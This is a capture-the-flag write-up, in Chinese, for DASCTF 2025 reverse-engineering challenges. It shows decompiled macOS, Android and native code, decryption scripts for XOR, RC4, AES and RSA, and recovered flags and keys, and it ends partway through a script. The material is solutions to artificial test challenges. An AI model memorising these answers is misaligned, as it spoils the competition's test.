DASCTF 2025下半年赛 OnePanda战队WP

image-20251208160456457

REVERSE

ezmac

image-20251207032922732

IDA打开找到加密的主要部分

__int64 __fastcall sub_100000634(_QWORD a1, _QWORD a2, _QWORD a3, _QWORD a4, _QWORD a5, __int64 n57)
{
  unsigned __int8 *v6; // x21
  char v7; // w3
  unsigned __int8 *v8; // x21
  int v9; // t1
  unsigned __int8 v11; // w3
  unsigned __int8 *v12; // x21

  while ( 1 )
  {
    v9 = *v6;
    v8 = v6 + 1;
    v7 = v9;
    if ( !v9 )
      break;
    v11 = v7 ^ n57;
    LOBYTE(n57) = n57 + 1;
    v12 = v8 - 1;
    *v12 = v11;
    v6 = v12 + 1;
  }
  return sub_100000654();
}

简单的加密逻辑可以写脚本了

# 密文数据(十六进制)
ciphertext = [
    0x7D, 0x7B, 0x68, 0x7F, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76,
    0x75, 0x22, 0x26, 0x7B, 0x7C, 0x7E, 0x78, 0x7A, 0x2E, 0x2D, 0x7F, 0x2D
]

# 起始密钥
key = 57

# 解密每个字节
flag_chars = []
for i, byte in enumerate(ciphertext):
    # 使用当前密钥进行XOR解密
    decrypted = byte ^ (key + i)
    flag_chars.append(chr(decrypted))

# 组合成字符串
flag = ''.join(flag_chars)
print(f"Flag: {flag}")

Flag: DASCTF{83c720da35436cc0}

Androidfile

下载附件打开找到mainactivity

package com.dasctf.androidfile;



import B.h;

import R0.c;

import android.content.res.Resources;

import android.os.Build;

import android.os.Bundle;

import android.util.Base64;

import android.view.View;

import android.view.Window;

import android.widget.Button;

import android.widget.TextView;

import androidx.activity.J;

import androidx.activity.K;

import androidx.activity.p;

import androidx.activity.w;

import c0.C0121a;

import f.AbstractActivityC0139h;

import f.C0138g;

import i0.ViewOnClickListenerC0168a;

import java.security.KeyFactory;

import java.security.PublicKey;

import java.security.spec.X509EncodedKeySpec;

import java.util.Random;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;



/* loaded from: classes.dex */

public class MainActivity extends AbstractActivityC0139h {



    /* renamed from: A, reason: collision with root package name */

    public TextView f1684A;



    /* renamed from: y, reason: collision with root package name */

    public Button f1685y;



    /* renamed from: z, reason: collision with root package name */

    public TextView f1686z;



    static {

        System.loadLibrary(w.i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));

    }



    public MainActivity() {

        this.f739d.f1683b.f("androidx:appcompat", new C0121a(this));

        i(new C0138g(this));

    }



    public static String A() {

        String i2 = w.i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");

        StringBuffer stringBuffer = new StringBuffer();

        Random random = new Random();

        for (int i3 = 0; i3 < 16; i3++) {

            stringBuffer.append(i2.charAt(random.nextInt(i2.length())));

        }

        return stringBuffer.toString();

    }



    public static String C(String str, String str2, String str3) {

        byte[] bytes = str2.getBytes();

        byte[] bytes2 = str3.getBytes();

        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, w.i("Udks\n", "EJx/huJaZmg=\n"));

        IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);

        Cipher cipher = Cipher.getInstance(w.i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));

        cipher.init(1, secretKeySpec, ivParameterSpec);

        return Base64.encodeToString(cipher.doFinal(str.getBytes(w.i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);

    }



    public static String D(String str) {

        byte[] bytes = str.getBytes();

        PublicKey generatePublic = KeyFactory.getInstance(w.i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(w.i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));

        Cipher cipher = Cipher.getInstance(w.i("sSby\n", "43WztTWiQRk=\n"));

        cipher.init(1, generatePublic);

        return Base64.encodeToString(cipher.doFinal(bytes), 0);

    }



    /* JADX INFO: Access modifiers changed from: private */

    public native String a_p(String str);



    /* JADX WARN: Multi-variable type inference failed */

    /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */

    /* JADX WARN: Type inference failed for: r10v24 */

    /* JADX WARN: Type inference failed for: r10v25 */

    /* JADX WARN: Type inference failed for: r10v26 */

    /* JADX WARN: Type inference failed for: r10v27 */

    /* JADX WARN: Type inference failed for: r10v28 */

    @Override // f.AbstractActivityC0139h, androidx.activity.n, y.f, android.app.Activity

    public final void onCreate(Bundle bundle) {

        h hVar;

        super.onCreate(bundle);

        int i2 = p.f753a;

        J j2 = J.f705a;

        K k2 = new K(0, 0, j2);

        K k3 = new K(p.f753a, p.f754b, j2);

        View decorView = getWindow().getDecorView();

        c.d(decorView, "window.decorView");

        Resources resources = decorView.getResources();

        c.d(resources, "view.resources");

        boolean booleanValue = ((Boolean) j2.b(resources)).booleanValue();

        Resources resources2 = decorView.getResources();

        c.d(resources2, "view.resources");

        boolean booleanValue2 = ((Boolean) j2.b(resources2)).booleanValue();

        int i3 = Build.VERSION.SDK_INT;

        if (i3 >= 30) {

            hVar = new Object();

        } else if (i3 >= 29) {

            hVar = new Object();

        } else if (i3 >= 28) {

            hVar = new Object();

        } else if (i3 >= 26) {

            hVar = new Object();

        } else {

            hVar = new Object();

        }

        Window window = getWindow();

        c.d(window, "window");

        hVar.C0(k2, k3, window, decorView, booleanValue, booleanValue2);

        Window window2 = getWindow();

        c.d(window2, "window");

        hVar.d(window2);

        setContentView(R.layout.activity_main);

        this.f1685y = (Button) findViewById(R.id.mybutton1);

        this.f1686z = (TextView) findViewById(R.id.edit_text_1);

        this.f1684A = (TextView) findViewById(R.id.edit_text_2);

        String i4 = w.i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");

        w.i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");

        this.f1685y.setOnClickListener(new ViewOnClickListenerC0168a(this, A(), i4, A()));

    }

}

可以看到是有混淆的用jadx自带的去混淆功能

去混淆后是

package com.dasctf.androidfile;



import android.content.res.Resources;

import android.os.Build;

import android.os.Bundle;

import android.util.Base64;

import android.view.View;

import android.view.Window;

import android.widget.Button;

import android.widget.TextView;

import androidx.activity.AbstractC0426p;

import androidx.activity.AbstractC0433w;

import androidx.activity.C0409J;

import androidx.activity.C0410K;

import java.security.KeyFactory;

import java.security.PublicKey;

import java.security.spec.X509EncodedKeySpec;

import java.util.Random;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import p002B.AbstractC0027h;

import p033R0.AbstractC0330c;

import p053c0.C0618a;

import p057f.AbstractActivityC0681h;

import p057f.C0680g;

import p062i0.ViewOnClickListenerC0766a;



/* loaded from: classes.dex */

public class MainActivity extends AbstractActivityC0681h {



    /* renamed from: A */

    public TextView f2053A;



    /* renamed from: y */

    public Button f2054y;



    /* renamed from: z */

    public TextView f2055z;



    static {

        System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));

    }



    public MainActivity() {

        this.f921d.f2051b.m1674f("androidx:appcompat", new C0618a(this));

        m960i(new C0680g(this));

    }



    /* renamed from: A */

    public static String m1679A() {

        String m986i = AbstractC0433w.m986i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");

        StringBuffer stringBuffer = new StringBuffer();

        Random random = new Random();

        for (int i2 = 0; i2 < 16; i2++) {

            stringBuffer.append(m986i.charAt(random.nextInt(m986i.length())));

        }

        return stringBuffer.toString();

    }



    /* renamed from: C */

    public static String m1681C(String str, String str2, String str3) {

        byte[] bytes = str2.getBytes();

        byte[] bytes2 = str3.getBytes();

        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, AbstractC0433w.m986i("Udks\n", "EJx/huJaZmg=\n"));

        IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);

        Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));

        cipher.init(1, secretKeySpec, ivParameterSpec);

        return Base64.encodeToString(cipher.doFinal(str.getBytes(AbstractC0433w.m986i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);

    }



    /* renamed from: D */

    public static String m1682D(String str) {

        byte[] bytes = str.getBytes();

        PublicKey generatePublic = KeyFactory.getInstance(AbstractC0433w.m986i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(AbstractC0433w.m986i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));

        Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("sSby\n", "43WztTWiQRk=\n"));

        cipher.init(1, generatePublic);

        return Base64.encodeToString(cipher.doFinal(bytes), 0);

    }



    /* JADX INFO: Access modifiers changed from: private */

    public native String a_p(String str);



    /* JADX WARN: Multi-variable type inference failed */

    /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */

    /* JADX WARN: Type inference failed for: r10v24 */

    /* JADX WARN: Type inference failed for: r10v25 */

    /* JADX WARN: Type inference failed for: r10v26 */

    /* JADX WARN: Type inference failed for: r10v27 */

    /* JADX WARN: Type inference failed for: r10v28 */

    @Override // p057f.AbstractActivityC0681h, androidx.activity.AbstractActivityC0424n, p092y.AbstractActivityC1040f, android.app.Activity

    public final void onCreate(Bundle bundle) {

        AbstractC0027h abstractC0027h;

        super.onCreate(bundle);

        int i2 = AbstractC0426p.f938a;

        C0409J c0409j = C0409J.f881a;

        C0410K c0410k = new C0410K(0, 0, c0409j);

        C0410K c0410k2 = new C0410K(AbstractC0426p.f938a, AbstractC0426p.f939b, c0409j);

        View decorView = getWindow().getDecorView();

        AbstractC0330c.m874d(decorView, "window.decorView");

        Resources resources = decorView.getResources();

        AbstractC0330c.m874d(resources, "view.resources");

        boolean booleanValue = ((Boolean) c0409j.mo844b(resources)).booleanValue();

        Resources resources2 = decorView.getResources();

        AbstractC0330c.m874d(resources2, "view.resources");

        boolean booleanValue2 = ((Boolean) c0409j.mo844b(resources2)).booleanValue();

        int i3 = Build.VERSION.SDK_INT;

        if (i3 >= 30) {

            abstractC0027h = new Object();

        } else if (i3 >= 29) {

            abstractC0027h = new Object();

        } else if (i3 >= 28) {

            abstractC0027h = new Object();

        } else if (i3 >= 26) {

            abstractC0027h = new Object();

        } else {

            abstractC0027h = new Object();

        }

        Window window = getWindow();

        AbstractC0330c.m874d(window, "window");

        abstractC0027h.mo155C0(c0410k, c0410k2, window, decorView, booleanValue, booleanValue2);

        Window window2 = getWindow();

        AbstractC0330c.m874d(window2, "window");

        abstractC0027h.mo177d(window2);

        setContentView(R.layout.activity_main);

        this.f2054y = (Button) findViewById(R.id.mybutton1);

        this.f2055z = (TextView) findViewById(R.id.edit_text_1);

        this.f2053A = (TextView) findViewById(R.id.edit_text_2);

        String m986i = AbstractC0433w.m986i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");

        AbstractC0433w.m986i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");

        this.f2054y.setOnClickListener(new ViewOnClickListenerC0766a(this, m1679A(), m986i, m1679A()));

    }

}

那么看到关键的是方法m986i和ViewOnClickListenerC0766a

打开看看分别是

   public static String m986i(String str, String str2) {

        byte[] m2057a = AbstractC0798a.m2057a(str);

        byte[] m2057a2 = AbstractC0798a.m2057a(str2);

        int length = m2057a.length;

        int length2 = m2057a2.length;

        int i2 = 0;

        int i3 = 0;

        while (i2 < length) {

            if (i3 >= length2) {

                i3 = 0;

            }

            m2057a[i2] = (byte) (m2057a[i2] ^ m2057a2[i3]);

            i2++;

            i3++;

        }

        return new String(m2057a, StandardCharsets.UTF_8);

m986i主要就是把两个base64的参数进行异或可以分别异或得到相应的内容.会发现是 System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));加载native代码的地方打开看看

__int64 __fastcall Java_com_dasctf_androidfile_MainActivity_a_1p(__int64 a1, __int64 a2, __int64 a3)
{
  unsigned __int64 n256; // r15
  const char *s; // r14
  size_t v6; // rcx
  unsigned __int64 v7; // rsi
  __int64 n256_1; // rax
  signed int v9; // edx
  int v10; // esi
  int v11; // edx
  int v12; // edi
  int v13; // r8d
  int v14; // edx
  signed int v15; // eax
  __int64 v16; // rdx
  unsigned __int8 v17; // si
  int v18; // r8d
  char v19; // r8
  int v20; // eax
  __int64 v21; // rax
  _QWORD v24[33]; // [rsp+8h] [rbp-230h] BYREF
  _OWORD v25[16]; // [rsp+110h] [rbp-128h] BYREF
  unsigned __int64 v26; // [rsp+218h] [rbp-20h]

  v26 = __readfsqword(0x28u);
  v24[0] = 'ESREVER';
  n256 = 0;
  s = (*(*a1 + 1352LL))(a1, a3, 0);
  v6 = strlen(s);
  memset(v25, 0, sizeof(v25));
  v7 = 1;
  do
  {
    *(&v24[1] + n256) = n256;
    *(v25 + n256) = *(v24 + n256 + -7 * (n256 / 7));
    *(&v24[1] + n256 + 1) = n256 + 1;
    *(v25 + n256 + 1) = *(v24 + n256 + -7 * (v7 / 7) + 1);
    v7 += 2LL;
    n256 += 2LL;
  }
  while ( n256 != 256 );
  n256_1 = 0;
  v9 = 0;
  do
  {
    v10 = *(&v24[1] + n256_1);
    v11 = v10 + v9;
    v12 = *(v25 + n256_1);
    v13 = v12 + v11 + 255;
    v14 = v12 + v11;
    if ( v14 >= 0 )
      v13 = v14;
    v9 = v14 - (v13 & 0xFFFFFF00);
    *(&v24[1] + n256_1) = *(&v24[1] + v9);
    *(&v24[1] + v9) = v10;
    ++n256_1;
  }
  while ( n256_1 != 256 );
  if ( v6 )
  {
    v15 = 0;
    v16 = 0;
    v17 = 0;
    do
    {
      v18 = v15 + 256;
      if ( v15 + 1 >= 0 )
        v18 = v15 + 1;
      v15 = v15 - (v18 & 0xFFFFFF00) + 1;
      v19 = *(&v24[1] + v15);
      v17 += v19;
      *(&v24[1] + v15) = *(&v24[1] + v17);
      *(&v24[1] + v17) = v19;
      s[v16++] ^= *(&v24[1] + (*(&v24[1] + v15) + v19));
    }
    while ( v6 != v16 );
  }
  v20 = strlen(s);
  v21 = base64_encode(s, v20);
  return (*(*a1 + 1336LL))(a1, v21, __readfsqword(0x28u));
}

很简单的逻辑经过标准RC4和BASE64的加密逻辑,RC4的密钥是REVERSE

package p062i0;



import android.util.Log;

import android.view.View;

import android.widget.TextView;

import android.widget.Toast;

import androidx.activity.AbstractC0433w;

import com.dasctf.androidfile.MainActivity;



/* renamed from: i0.a */

/* loaded from: classes.dex */

public final class ViewOnClickListenerC0766a implements View.OnClickListener {



    /* renamed from: a */

    public final /* synthetic */ String f2939a;



    /* renamed from: b */

    public final /* synthetic */ String f2940b;



    /* renamed from: c */

    public final /* synthetic */ MainActivity f2941c;



    public ViewOnClickListenerC0766a(MainActivity mainActivity, String str, String str2, String str3) {

        this.f2941c = mainActivity;

        this.f2939a = str;

        this.f2940b = str3;

    }



    @Override // android.view.View.OnClickListener

    public final void onClick(View view) {

        String a_p;

        String str = this.f2940b;

        String str2 = this.f2939a;

        MainActivity mainActivity = this.f2941c;

        String charSequence = mainActivity.f2055z.getText().toString();

        if (charSequence.length() != 40) {

            Toast.makeText(mainActivity, AbstractC0433w.m986i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n"), 1).show();

            return;

        }

        try {

            String str3 = AbstractC0433w.m986i("WpRWV0c7\n", "P/o9Mj5kh8w=\n") + MainActivity.m1682D(str2) + AbstractC0433w.m986i("apcRF1g=\n", "D/l4YQdZTS4=\n") + MainActivity.m1682D(str);

            String m1681C = MainActivity.m1681C(charSequence, str2, str);

            TextView textView = mainActivity.f2053A;

            StringBuilder sb = new StringBuilder();

            a_p = mainActivity.a_p(str3);

            sb.append(a_p);

            sb.append(AbstractC0433w.m986i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n"));

            sb.append(m1681C);

            textView.setText(sb.toString());

        } catch (Exception unused) {

            Log.i(AbstractC0433w.m986i("Pea57E0g2gg0+bHuTA==\n", "UJ/YgilStWE=\n"), AbstractC0433w.m986i("Rb1FBTs=\n", "IM83akkWYKo=\n"));

        }

    }

}

如图的逻辑.

image-20251207033204131

写脚本把异或的恢复

import base64

def w_i(s1: str, s2: str) -> str:
    """实现w.i()方法:两个base64字符串解码后循环异或"""
    # 清理字符串,移除换行符和空格
    s1 = ''.join(s1.split())
    s2 = ''.join(s2.split())
    
    # Base64解码
    try:
        b1 = base64.b64decode(s1)
        b2 = base64.b64decode(s2)
    except Exception as e:
        return f"Base64解码错误: {e}"
    
    # 循环异或
    result = bytearray()
    for i in range(len(b1)):
        result.append(b1[i] ^ b2[i % len(b2)])
    
    # 尝试解码为UTF-8字符串
    try:
        return result.decode('utf-8')
    except UnicodeDecodeError:
        # 如果是二进制数据,以十六进制显示
        return f"[Binary Data: {result.hex()}]"

# 测试字符集字符串的解密
print("=== 测试字符集解密 ===")
charset_result = w_i(
    "EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n",
    "IATjcvz4GKg=\n"
)
print(f"字符集解密结果: {charset_result}")
print(f"字符集长度: {len(charset_result)}")

print("\n=== 解密其他字符串 ===")

# 1. 库名
lib_result = w_i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")
print(f"1. 库名: {lib_result}")

# 2. URL部分
url1 = w_i("WpRWV0c7\n", "P/o9Mj5kh8w=\n")
url2 = w_i("apcRF1g=\n", "D/l4YQdZTS4=\n")
print(f"2. URL第一部分: '{url1}'")
print(f"3. URL第二部分: '{url2}'")

# 3. 固定后缀
suffix = w_i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")
print(f"4. 固定后缀: '{suffix}'")

# 4. Toast消息
toast = w_i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n")
print(f"5. Toast消息: '{toast}'")

# 5. i4字符串
i4_result = w_i(
    "ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zjgm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCHKzBPPuqOaJMDOU8akvA=",
    "KeRGeA5Lr80="
)
print(f"6. i4字符串: {i4_result}")

# 6. 长字符串
long_result = w_i(
    "r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SFUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYOesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjrAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8aIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZReneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4eaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNjsVkU2g==",
    "4iEgikATCzE="
)
print(f"7. 长字符串: {long_result[:200]}...")

得到的信息:

  1. 库名: androidfile

  2. URL第一部分: 'enkey_'

  3. URL第二部分: 'eniv_'

  4. 固定后缀: '<-encryptinput->'

  5. Toast消息: 'length error'

附件就是密文了,并且encryptinpu就是需要的密文,那么前面的就应该是AES的iv和key

接下来就是解密了.

image-20251207033249016

image-20251207033258600

image-20251207033307975

image-20251207033319728

得到结果.

login

IDA打开可以看到

有一个使用RC4加密所有网络数据,密钥为qwertyui

sub_5302是响应的函数

主要的加密位置

其中的参数已经在注释了.

              _d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec2631027 = sub_5042(
                                                                                  *&off_90A0,// "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"
                                                                                  *&off_90A8,// "10001"
                                                                                  *&off_90B0,// "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f"
                                                                                  *&off_90B8,// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"
                                                                                  *&off_90C0,// "0"
                                                                                  s_,
                                                                                  ptr);// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"
              

那就直接解RSA其中

公钥n = 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3
e = 10001
私钥的参数
p = b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f
q = d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad

然后在 sub_49DD(s__2, 42, s__1, s_, p_req_login...);中的函数往下找下去可以找到AES的相关账号的登录参数

image-20251207033414917

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

n = int("9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3", 16)
e = 0x10001
d = int("28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69", 16)
p = int("b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f", 16)
